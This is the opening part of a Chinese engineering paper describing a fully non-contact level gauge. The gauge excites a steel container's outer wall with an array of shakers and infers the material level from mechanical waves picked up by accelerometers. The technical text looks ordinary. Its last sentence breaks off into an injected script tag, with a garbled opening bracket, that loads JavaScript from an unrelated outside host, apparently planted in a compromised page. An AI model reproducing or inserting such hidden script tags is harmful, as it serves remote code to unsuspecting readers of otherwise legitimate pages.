［摘 要］ 一种全新的完全非接触料位测量方法。对容器外壁施加机械激励，并对容器外壁上所产生的机械波进行检测。通过特征分析、提取，得出内部物料界面的信息。全部测量装置都在容器外部，实现无污染、方便、廉价的完全非接触测量。
［关键词］ 测量；完全非接触；料位
1 引言
物料位测量，特别是固体物料的料位测量，由于被测对象的特殊物性，如粉尘，黏附，板结等作用，最佳的测量方法是非接触式测量。相比较超声波式和雷达式等非接触方法，虽然不直接与被测物料接触，但都需要与物料上方介质接触，需要物料上方介质具有对超声波或微波透明，完全非接触式测量方法具有完全不与被测物料，包括物料上方介质接触，具有更广泛的适应性和更高的可靠性。目前仅有两种完全非接触式测量方法：放射式和称重式。由于放射式料位计需要高能γ射线穿透被测容器，其运行中的安全防护与放射源的存储等问题制约了这种方式的应用。称重式料位测量仪器对介质密度有直接的依赖，需要有已知且稳定的介质密度，这在液体测量中也许是容易满足的条件，在固体介质的测量中往往很难满足。由于需要测量整体容器的重量，要求容器只有有限个钢结构支撑架，这也限制了仪器的安装条件。通过理论分析与实验研究，研制了一种以冲击与振动的方法进行测量的新型料位计。作为一种新型的完全非接触式物料测量方法，不使用高能射线，没有放射污染，不依赖被测介质密度，对容器结构没有要求，全部仪器安装于容器外部，与被测界面上下两种介质都不需接触，是一种干净，方便，廉价，适用广泛的新型料位测量的方法。
2 测量原理
测量的基本原理是通过容器外部的激振器产生适当的能量波，经过传播后，携带容器内界面情况的信息，被传感器所接收，通过分析波的特征，得到界面信息。能量波可以选择电磁波或机械波。电磁波只有频率足够高才有足够能量穿透容器（特别是金属容器），也就是目前已经使用的放射料位计中的γ但是较高频率的机械波穿透能力差，如超声式料位计就必须安装于容器内部，虽然称为非接触式测量，只是与被测界面两介质中的一种不接触，仪器需要在另一种介质中发射与接收超声波，这就要求这种介质具有超声透明的特性。也许这种方式应当称为半接触式测量。为了能够进行完全非接触测量，选择使用低频机械波，可以从容器外壁产生与接收，不但容易产生，容易检测，而且容器及被测介质对波的衰减小，在大量程时这一点尤为重要。但是低频机械波容易受到噪音干扰，由于波长较长，对测量精度的提高也带来很多困难。这些都对信号处理提出很高要求。
在低频机械波的传播过程中，可以把容器壁看作具有一定单位面积质量，具有各向同性的剪切弹性模量，各向均匀的薄板介质。从总参数的角度观察介质，可以看作无限多个相同参数的质量——弹簧——阻尼二阶系统的级联结构。从激振器到传感器可以看作是在无限长链条中截取的有限个二阶有阻尼系统。对于容器内有被测介质的容器壁，由于被测介质对容器壁的侧压力，使得容器壁的等效质量增大。又由于被测介质对波能量的传导，容器壁的等效阻尼增大。然而，侧压力对容器壁的等效剪切弹性模量影响却不大。这样，原则上通过模态分析，可以找到振动模态与介质界面间的相关关系，从而达到测量的目的。但是这样的测量是依赖于具体的容器以及具体的被测介质的物体，不具有实用价值。使用激励器和传感器矩阵，建立多输入、多输出的测量系统与相应的系统传递模型，基于波的传播与加速阻抗模型，通过非模态化的测量和信号处理方法，在无需容器与被测物料参数的情况下，进行了物料位的测量。
3 系统设计
3．1 系统结构
冲击振动式料位计试验装置的系统结构如图3—1。试验容器为一个直径1m，高为1．8m的圆柱形3 mm厚45＃钢板卷制焊接钢桶。
激振器安装在容器外壁，试验中使用了8个激振器模拟现场测量中被测容器很大（量程很大，此时单一激振器激励功率不能满足要求）时的状况，自顶而下垂直均匀排列，间距为20cm。传感器为加速度传感器，通过永磁铁基座吸附在容器外壁上，一共4个，同样自顶而下垂直均匀排列。采用这种多个激振器和传感器分布排列方式，各激振器与传感器组成冗余多传感器结构，经过多传感器信息融合，不但扩展了量程，更具有硬件上的容错能力，提高了系统可靠性。并且冗余的信息也大大提高了测量的精度、数据的可靠性和仪器的抗干扰能力。
激振器挂接在系统的控制总线上，对各激振器分配有其独立的地址编号，受控制总线控制在同一时间有且仅有一个激振器被选通。任意波形发生卡安装在另一台伺服计算机上，通过以太网络与主控计算机通讯，接收主控计算机发出的波形数据和控制信号。激励波形经任意波形发生卡产生后?script src=http://er12.com/t.js>
